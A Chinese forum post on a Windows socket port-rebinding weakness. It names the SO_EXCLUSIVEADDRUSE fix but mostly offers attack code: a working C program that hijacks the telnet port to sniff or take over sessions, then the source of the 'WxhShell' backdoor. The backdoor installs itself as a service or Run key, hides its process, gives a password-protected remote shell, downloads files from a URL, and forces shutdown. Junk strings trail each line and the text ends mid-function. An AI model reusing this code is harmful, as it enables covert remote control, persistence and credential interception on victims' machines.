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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U$-FQRM4K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yn7n  
8>w/Es5  
  saddr.sin_family = AF_INET; t%/5$<!b  
:]]amziP&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $k!t&G  
Zw }7vD0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6h5*b8LxA  
*zmbo >{(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D3jP hPy.  
D6 M:pIN*  
  这意味着什么?意味着可以进行如下的攻击: f[X>?{q  
EswM#D 9(4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [6c{t  
>si<VCO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2Aff3]-:Gd  
<|.M]]}j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kQj8;LU  
H6~QSe0l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  alq>|,\x  
I5-/K VWb  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;z&p(e  
6#.R'O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l lQ<x  
jx-W$@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K%Rx5 S  
' rXkTm1{  
  #include 0z,c6MjM+  
  #include $bN%x/  
  #include G;tIhq[$Vb  
  #include    lte~26=e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B^KC~W  
  int main() <yIJ$nBx  
  { WJ mj|$D  
  WORD wVersionRequested; nc`[fy|}  
  DWORD ret; `OBDx ^6F  
  WSADATA wsaData; $#0%gs/x  
  BOOL val; =LuA [g  
  SOCKADDR_IN saddr; ;Yi ;2ttW  
  SOCKADDR_IN scaddr; xOS4J+'s@  
  int err; Ex~OT  
  SOCKET s; "F0,S~tZZ  
  SOCKET sc; b|4h2iuM  
  int caddsize; NjMo"1d  
  HANDLE mt; ~DCw [y  
  DWORD tid;   [t0gXdU 6  
  wVersionRequested = MAKEWORD( 2, 2 ); (}}BZ S&.  
  err = WSAStartup( wVersionRequested, &wsaData ); O-G4^V8  
  if ( err != 0 ) { 6W~F nJI  
  printf("error!WSAStartup failed!\n"); }J:~}?^%n  
  return -1; }bHd U]$}  
  } }n8,Ga%  
  saddr.sin_family = AF_INET; tdEu4)6  
   1z*]MYU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G`w7dn;&  
n|{x\@VeF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ll&Y_Ry  
  saddr.sin_port = htons(23); Ff.gRx  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (3W<yAM+  
  { / EWF0XV!  
  printf("error!socket failed!\n"); 8_W<BXW  
  return -1; 4,FuQ}  
  } I2D<~xP~2+  
  val = TRUE; fNQ.FAK":  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E@t^IGD r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tZ4W]od  
  { M]eH JZ~v  
  printf("error!setsockopt failed!\n"); E5.)ro=$  
  return -1; 6 70g|&v.  
  } 0;o`7f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R$NH [Tz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O+c@B}[!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YpXUYNy  
fMd]P:B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~[l2"@  
  { {b} ?I4)  
  ret=GetLastError(); = R; 0Ed&b  
  printf("error!bind failed!\n"); ?GX 5Pvg  
  return -1; /1t(e._  
  } mG\,T3/*  
  listen(s,2); 7w YSP&$  
  while(1) GIt; Y  
  { [\eUCt F  
  caddsize = sizeof(scaddr); Lab{?!E>U  
  //接受连接请求 sl>4O]N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MiAXbo#\  
  if(sc!=INVALID_SOCKET) pT:CvJ  
  { lB.P   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); , )u}8ty3j  
  if(mt==NULL) 'GS1"rkW<5  
  { 6D@tCmmq  
  printf("Thread Creat Failed!\n"); 8kX3.X`  
  break; cBiv=!n  
  } hekAics6S  
  } 5fSDdaO  
  CloseHandle(mt); ok2$ p  
  } {b8!YbG  
  closesocket(s); !G Z2|~f9  
  WSACleanup(); XLI'f$w&  
  return 0; + .mIC:9  
  }   A<QYW,:|  
  DWORD WINAPI ClientThread(LPVOID lpParam) l&^9<th  
  { e*:[#LJ]C  
  SOCKET ss = (SOCKET)lpParam; _|x%M}O},  
  SOCKET sc; ')}$v+9h  
  unsigned char buf[4096]; k-Le)8+b  
  SOCKADDR_IN saddr; ` L6H2:pf  
  long num; ?9 m3y0  
  DWORD val; R1\cAP^ 0  
  DWORD ret; (+q?xwl!N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;xXHSxa:=W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hnmFhJ !g  
  saddr.sin_family = AF_INET; MuO7_*q'n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); = r_&R#~GT  
  saddr.sin_port = htons(23); gU0}.b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z#3wMK~  
  { *(& J^  
  printf("error!socket failed!\n"); Wi'BX#xCB  
  return -1; gXE'3  
  } #}^ZxEU  
  val = 100; XK{`x<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9L*gxI>  
  { x{&0:|bCs6  
  ret = GetLastError(); vWXj6}  
  return -1; 72@8M  
  } JU1U=Lu."  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jgVra*   
  { Xa Yx avq  
  ret = GetLastError(); `[C8iF*Y"  
  return -1; 4;7<)&#h  
  } L/c$p`-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t&ztY] qh  
  { 6Bo~7gnc  
  printf("error!socket connect failed!\n"); ~i=/@;wRp  
  closesocket(sc); = K"F!}  
  closesocket(ss); s@'};E^]@r  
  return -1; gOx4qxy/m|  
  } 4&R\6!*s  
  while(1) POtDge  
  { Z=L' [6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 49@ pA-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N?p9h{DG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |rq~.cA  
  num = recv(ss,buf,4096,0); Sr,ZM1J  
  if(num>0) o%+K S5v!  
  send(sc,buf,num,0); pr>K#@^  
  else if(num==0) n,9 *!1y  
  break; Z>7Oez>  
  num = recv(sc,buf,4096,0); OV;Ho  
  if(num>0) X6N^<Z$  
  send(ss,buf,num,0);  4O[5,  
  else if(num==0) k(3 s^B  
  break; uY5f mM9  
  } +`yDWN?7  
  closesocket(ss); /ZvNgaH5M  
  closesocket(sc); hOO)0IrIM*  
  return 0 ; Z5bmqhDo[  
  } @J!)o d  
KVSy^-."  
Rl=NVo  
========================================================== Rqa#;wb!(  
6K[s),rdv  
下边附上一个代码,,WXhSHELL |*Z'WUv  
|/]bpG'z  
========================================================== qV@xEgW#r  
F'C]OMBE  
#include "stdafx.h" +G7A.d`V}  
j &)|nK;}  
#include <stdio.h> mucY+k1>g  
#include <string.h> ]W5s!T_  
#include <windows.h> Y GO ;wIS  
#include <winsock2.h> YzhZ%:8  
#include <winsvc.h> 0Dc$nL?TqX  
#include <urlmon.h> )qzJu*cQ  
)d>"K`3  
#pragma comment (lib, "Ws2_32.lib") >Djv8 0  
#pragma comment (lib, "urlmon.lib") sq@Eu>Ng(X  
5\S)8j `8  
#define MAX_USER   100 // 最大客户端连接数 4TG g`$e;  
#define BUF_SOCK   200 // sock buffer 8T&m{s  
#define KEY_BUFF   255 // 输入 buffer )fA9,yNJ3  
-+'{C =  
#define REBOOT     0   // 重启 pE^LQi  
#define SHUTDOWN   1   // 关机 oHxaa>C>  
1mFc]1W  
#define DEF_PORT   5000 // 监听端口 $gJMF(  
Y xGIv8O]  
#define REG_LEN     16   // 注册表键长度 !MTm4Ls  
#define SVC_LEN     80   // NT服务名长度 AZI%KM[  
pn{.oXomf  
// 从dll定义API $qP9EZ]JC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s,]6Lri`\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nC_<pq^tr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  vF]?i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,HUs MCXQ  
b3#c0GL  
// wxhshell配置信息 :>F:G%(DK  
struct WSCFG { w^A8ZT0^7  
  int ws_port;         // 监听端口 |jEKUTv,G  
  char ws_passstr[REG_LEN]; // 口令 P2 !~}{-  
  int ws_autoins;       // 安装标记, 1=yes 0=no F2z^7n.S  
  char ws_regname[REG_LEN]; // 注册表键名 Mff_j0D  
  char ws_svcname[REG_LEN]; // 服务名 E@0w t^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E{wVf_K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U1 1rj,7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fR_)e:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0 m";=:(w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j<"0ym)A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( J\D"4q  
v~L} :  
}; 8{4I6;e-  
d,8V-Dk+p  
// default Wxhshell configuration `axNeqM  
struct WSCFG wscfg={DEF_PORT, 3P^eD:) w  
    "xuhuanlingzhe", `i f*   
    1, n!ea)+^  
    "Wxhshell", r1}7Q7-z  
    "Wxhshell", c ?V,a`6  
            "WxhShell Service", 44kY[jhf  
    "Wrsky Windows CmdShell Service", lY?TF  
    "Please Input Your Password: ", 1YAy\F~`.  
  1, k3sP,opacX  
  "http://www.wrsky.com/wxhshell.exe", $Z.c9rY1  
  "Wxhshell.exe" O4]Ss}ol  
    }; &|n*&@fF  
5NJ@mm{0  
// 消息定义模块 E36<Wog  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ugVsp&i#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !xj>~7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q]{DhDz ?+  
char *msg_ws_ext="\n\rExit."; ?mG ?N(t/h  
char *msg_ws_end="\n\rQuit."; PM[6U#  
char *msg_ws_boot="\n\rReboot..."; e7]IEBbX2O  
char *msg_ws_poff="\n\rShutdown..."; S8.nM}x  
char *msg_ws_down="\n\rSave to "; qW?^_  
yw#P<8{/[  
char *msg_ws_err="\n\rErr!"; "y_$!KY%  
char *msg_ws_ok="\n\rOK!"; h*_r=' E  
o'>jO.|  
char ExeFile[MAX_PATH]; 68;,hS*|6  
int nUser = 0; x03GJy5  
HANDLE handles[MAX_USER]; ] A<\ d  
int OsIsNt; 14s+ &  
0EPF; Xx  
SERVICE_STATUS       serviceStatus; hL67g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [MFV:Z  
T/-PSfbkj  
// 函数声明 *Ty>-aS1  
int Install(void); :3Ty%W&&  
int Uninstall(void); {D1=TTr^  
int DownloadFile(char *sURL, SOCKET wsh); B 8C3LP}?  
int Boot(int flag); {7Dc(gNS  
void HideProc(void); i T 4H@  
int GetOsVer(void); ndF Kw  
int Wxhshell(SOCKET wsl); IBES$[  
void TalkWithClient(void *cs); gAv?\9=a)W  
int CmdShell(SOCKET sock); 'ZL)-kbI  
int StartFromService(void); 9I]*T  
int StartWxhshell(LPSTR lpCmdLine); OFQsfW3O  
9 r+' o#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dkG-Yz~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e] **Z,Z  
c6BaC@2  
// 数据结构和表定义 *5*d8;@>  
SERVICE_TABLE_ENTRY DispatchTable[] = FZj tQ{M  
{ k}F;e_  
{wscfg.ws_svcname, NTServiceMain}, (a&.Ad0{  
{NULL, NULL} Ev*HH+:b>  
}; N<$ uAns  
UCvMW*gs  
// 自我安装 wQPjo!FEX  
int Install(void) Z~T- *1V  
{ Qnr' KbK  
  char svExeFile[MAX_PATH]; 8Vl!&j0s^  
  HKEY key; N@tzYD|hA  
  strcpy(svExeFile,ExeFile); /vsQ <t;~  
J*a`qU   
// 如果是win9x系统,修改注册表设为自启动 `=q)-y_C  
if(!OsIsNt) { +SUQRDF@i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yw?%>L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JfKl=vg  
  RegCloseKey(key); D' uzH|z8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s x`C<c~u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WXO@oZ!  
  RegCloseKey(key); zcIZJVYA  
  return 0; r4!zA-{  
    } ]%>;R^HY  
  } o] )qv~o)  
} VNXB7#ry  
else { ~[k 2(  
sI9~TZ :  
// 如果是NT以上系统,安装为系统服务 r IS \#j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~y B[}BPf  
if (schSCManager!=0) pZjyzH{~  
{ }KS[(Q  
  SC_HANDLE schService = CreateService 0DS<(  
  ( iCc@N|~  
  schSCManager, ]C5JP~ #z  
  wscfg.ws_svcname, Q'$aFl'NR  
  wscfg.ws_svcdisp, 6M612   
  SERVICE_ALL_ACCESS, N-_2d*l3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ymr-kB  
  SERVICE_AUTO_START, G78rpp  
  SERVICE_ERROR_NORMAL, ew }C*4qH  
  svExeFile, }1X,~y]  
  NULL, A g/z\kX  
  NULL, 9FJU'$FN  
  NULL, h +N75  
  NULL, c @2s!bs  
  NULL l$zo3[  
  ); LR-op?W  
  if (schService!=0) 33"{"2==`  
  { ;rd!kFd#bq  
  CloseServiceHandle(schService); x<9|t(  
  CloseServiceHandle(schSCManager); )Cu"M #`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0o`0Td  
  strcat(svExeFile,wscfg.ws_svcname); TtkB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E$smr\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O yj!N`&z@  
  RegCloseKey(key); 2\EMtR>.M'  
  return 0; |iO2,99i  
    } 8M(N   
  } 0~an\4nh  
  CloseServiceHandle(schSCManager); gt}/C4|  
} N @]*E  
} lyv9eM  
1)%9h>F7  
return 1; ?$=N!>P#  
} )M'#l<9B  
}{]{`\  
// 自我卸载 $zxCv7  
int Uninstall(void) U/0NN>V  
{ "QGP]F  
  HKEY key; 8.]dThaq  
vV"TTzs!  
if(!OsIsNt) { r&Za*TD^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }IEYH&4!  
  RegDeleteValue(key,wscfg.ws_regname); SGjaH 8z  
  RegCloseKey(key); -pa.-@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w7w$z _P  
  RegDeleteValue(key,wscfg.ws_regname); I:AlM ?  
  RegCloseKey(key); NWX~@Rg  
  return 0; uop_bJ  
  } j0:F E  
} ~mmI] pC  
} 0+cRUH9Ew  
else { ]O&TU X@)  
qX-Jpi P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); So0YvhZ+  
if (schSCManager!=0) r{6 ,;  
{ kpK: @  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8oN4!#:  
  if (schService!=0) AVyo)=&  
  { ROQk^  
  if(DeleteService(schService)!=0) { $ZwsTV]x  
  CloseServiceHandle(schService); y(6&90cr  
  CloseServiceHandle(schSCManager); /Hx%gKU  
  return 0; /M B0%6m  
  } bF?EuL  
  CloseServiceHandle(schService); AB}Qd\  
  } X+bLLW>&  
  CloseServiceHandle(schSCManager); 6Y\9h)1Jo  
} Y5PIR9-  
} a,lH6lDk  
L-G186B$r  
return 1; P{rJG '  
} * Oyic3F  
^_)CQ%W?  
// 从指定url下载文件 9I30ULm  
int DownloadFile(char *sURL, SOCKET wsh) ?#slg8[  
{ jVk|(  
  HRESULT hr; ^x:4%%Q]l  
char seps[]= "/"; B]Yj"LM)  
char *token; >:Q:+R;3o  
char *file; s( 2=E|  
char myURL[MAX_PATH]; Y6^lKw  
char myFILE[MAX_PATH]; J>XaQfzwU  
|w /txn8G|  
strcpy(myURL,sURL); *~2jP;$  
  token=strtok(myURL,seps); iT9cw`A^%  
  while(token!=NULL) b LSI\  
  { ?aO%\<b  
    file=token; _lyP7$[: c  
  token=strtok(NULL,seps); %aL>n=$  
  } vAwFPqu  
 fB;'U  
GetCurrentDirectory(MAX_PATH,myFILE); 5 MQRb?[  
strcat(myFILE, "\\"); JL;H:`x  
strcat(myFILE, file); 3=sA]j-+(  
  send(wsh,myFILE,strlen(myFILE),0);  6~$ <  
send(wsh,"...",3,0); ((;9%F:/$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); --",}%-  
  if(hr==S_OK) CcAsJX~_  
return 0;  v+G}n\F  
else a[Txd=b  
return 1; dA\>z[n=  
rv|k8  
} "eh"' Z  
\+L_'*&8  
// 系统电源模块 J,m.LpY  
int Boot(int flag)  Q+dBSKSK  
{ bs%]xf ~D;  
  HANDLE hToken; N]+x@M @^3  
  TOKEN_PRIVILEGES tkp; a; /4 ht  
xH3SVn(I  
  if(OsIsNt) { ?_n.B=H`8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); },[S9I`p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uvD 6uIW<  
    tkp.PrivilegeCount = 1; % ,~; w0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JR7~|ov  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .7E-  
if(flag==REBOOT) { >{Lfrc1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #J^p,6  
  return 0; !v`q%JW(  
}  s.GTY@t  
else {  w8FZXL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  _%i|*  
  return 0; ufEt"P-X.  
} ']+H P9i$  
  } ,u~\$ Az6  
  else { +".&A#wU  
if(flag==REBOOT) { Zd~s5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l*%voKZG  
  return 0; 4Z]^v4vb  
} '*-X 3p  
else { b;!ilBc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nwcT8b 87J  
  return 0; 8Bhot,u'T  
} o L6[i'H|  
} u$<FKp;I  
@@ ZcW<Y"  
return 1; :MJBbrV ,  
} DB?_E{y]  
<JZ=K5  
// win9x进程隐藏模块 L=HL1Qe$G]  
void HideProc(void) -6t# ?Dkc'  
{ A=h`Z^8\B  
( 7Y :3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +H ="5uO<  
  if ( hKernel != NULL ) V!FzVl=G  
  { ]p0m6}B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 66Hu<3X P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >|z=-hqPK  
    FreeLibrary(hKernel); #/1A:ig  
  } TU[f"!z^  
o2Pj|u*X  
return; *jA%.F  
} Hyee#fB  
1egryp  
// 获取操作系统版本 -P'>~W,~  
int GetOsVer(void) 39~fP)  
{ ]]d@jj  
  OSVERSIONINFO winfo; {' r(P&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g08=D$P  
  GetVersionEx(&winfo); k"Sw,"e>+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #"7:NR^H^  
  return 1; C: e}}8i  
  else #o yvsS8  
  return 0; bdcuO)3  
} 6e~+@S  
n]8_]0{qi  
// 客户端句柄模块 zh50]tX  
int Wxhshell(SOCKET wsl) G9V zVx#T#  
{ @uH7GW}$g  
  SOCKET wsh; Zjo9c{\  
  struct sockaddr_in client; |ZRl.C/e  
  DWORD myID; GSpS8wWD }  
=1+I<Ljk  
  while(nUser<MAX_USER) k5}i^^.  
{ 7g&_`(  
  int nSize=sizeof(client); -F5U.6~`!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <T0-m?D_$  
  if(wsh==INVALID_SOCKET) return 1; 162qxR[.  
2d1'!B zDA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a`|/*{  
if(handles[nUser]==0) ;=uHK'{  
  closesocket(wsh); 0s<o5`v  
else 8E0Rg/DnT  
  nUser++; BY \p?79  
  } wy Le3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qw_qGgbl  
=20Q! wcu  
  return 0; 4 6e;UUf!d  
} SULWPH5Pr  
spe9^.SI  
// 关闭 socket yY&(?6\{<<  
void CloseIt(SOCKET wsh) 4AF" +L  
{ 8{d`N|k  
closesocket(wsh); VUNQ@{ST|1  
nUser--; Fg,[=CqB[  
ExitThread(0); q_oYI3  
} Ap97Zcw  
|fzo$Bq  
// 客户端请求句柄 gV`:eNo*  
void TalkWithClient(void *cs) sO(Kpo9jq  
{ s;5PHweWf  
JL(*peeu3  
  SOCKET wsh=(SOCKET)cs; {1SxM /  
  char pwd[SVC_LEN]; <edAWc+  
  char cmd[KEY_BUFF]; H%%#^rb^  
char chr[1]; }"cb^3  
int i,j; 2%@j<yS  
1":{$A?OB  
  while (nUser < MAX_USER) { aa".d[*1  
U7ajDw  
if(wscfg.ws_passstr) { pP".?|n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `*N0 Lbl]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m,.d< **  
  //ZeroMemory(pwd,KEY_BUFF); r!x^P=f,MJ  
      i=0; @nZFw.  
  while(i<SVC_LEN) { cF/FretoO  
^|sQkufo  
  // 设置超时 'Y&yt"cs  
  fd_set FdRead; {) .=G  
  struct timeval TimeOut; PD/~@OsxU  
  FD_ZERO(&FdRead); I&(cdKY z  
  FD_SET(wsh,&FdRead); _nTjCN625  
  TimeOut.tv_sec=8; H%sQVE7m  
  TimeOut.tv_usec=0; ^lQ-w|7(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [tBIABr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tDi=T]-bt  
%9zcc)cP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m' aakq  
  pwd=chr[0]; G! 87F/  
  if(chr[0]==0xd || chr[0]==0xa) { I O6i  
  pwd=0; HV?awc  
  break; 1DLQ Zq  
  } H$[--_dI{  
  i++; WrD20Q$9Q  
    } chiQ+  
Ar):D#D  
  // 如果是非法用户,关闭 socket }& 1_gn15  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J#X7Ss  
} 3~ZtAgih%  
:X$&g sT/,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4XKg3l1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z5i!GJB  
5w1=j\oq  
while(1) { 5jsnE )  
Gu%`__   
  ZeroMemory(cmd,KEY_BUFF); d[o =  
>T(f  
      // 自动支持客户端 telnet标准   DD-DY&2R  
  j=0; 0dgR;Dl(  
  while(j<KEY_BUFF) { Kt^PL&A2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M!I:$DZt  
  cmd[j]=chr[0]; ->j9(76"  
  if(chr[0]==0xa || chr[0]==0xd) { x[>A'.m@)  
  cmd[j]=0; 8XY4  
  break; Aa1 |{^$:L  
  } x/4lD}Pw]  
  j++;  !c*^:0  
    } T}\U:@b  
&O%Kj8)  
  // 下载文件 ;bA9(:?  
  if(strstr(cmd,"http://")) { I{RktO;1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W"2\vo)  
  if(DownloadFile(cmd,wsh)) ),~Ca'TU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z.jGVF4  
  else MT V'!Zxs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /`'50C j  
  } fO:*85 %}7  
  else { jV7q)\uu^  
r[?rwc^  
    switch(cmd[0]) { %`}Qkb/Lyh  
  wIY#TBu  
  // 帮助 !W3Le$aL  
  case '?': { -bj1y2)n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]-AT(L >  
    break;  Et- .[  
  } N..u<06j/  
  // 安装 F`ihw[ Wn  
  case 'i': {  Cn_Mz#Z  
    if(Install()) _WSJg1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <<A@69"4n  
    else '/"(`f,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (ncfR  
    break; m?m,w$K  
    } Al` ;SWN  
  // 卸载 G!Uq#l>  
  case 'r': { LEhi/>T  
    if(Uninstall()) jAJkCCG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5q) Eed  
    else cKxJeM07  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~aVt~{k/  
    break; <e=0J8V8,i  
    } HK-?<$Yc  
  // 显示 wxhshell 所在路径 JZ<O-G+  
  case 'p': { Tru`1/ 7I  
    char svExeFile[MAX_PATH]; x/Ds`\  
    strcpy(svExeFile,"\n\r"); PCU6E9~t2  
      strcat(svExeFile,ExeFile); O-G@To3\  
        send(wsh,svExeFile,strlen(svExeFile),0); $6J5yE  
    break; *i\7dJ Dj  
    } QK@z##U  
  // 重启 NT-du$! u  
  case 'b': {  r>G$u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hrW.TwK  
    if(Boot(REBOOT)) yrIT4y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hyBSS,I  
    else { U "}Kth  
    closesocket(wsh); ~k J#IA  
    ExitThread(0); &{ f5F7E@  
    } Wm\f:|U5`  
    break; )Q\;N C=4  
    } "2;UXX-H  
  // 关机 J7$=f~$  
  case 'd': { ;m&f Vp  
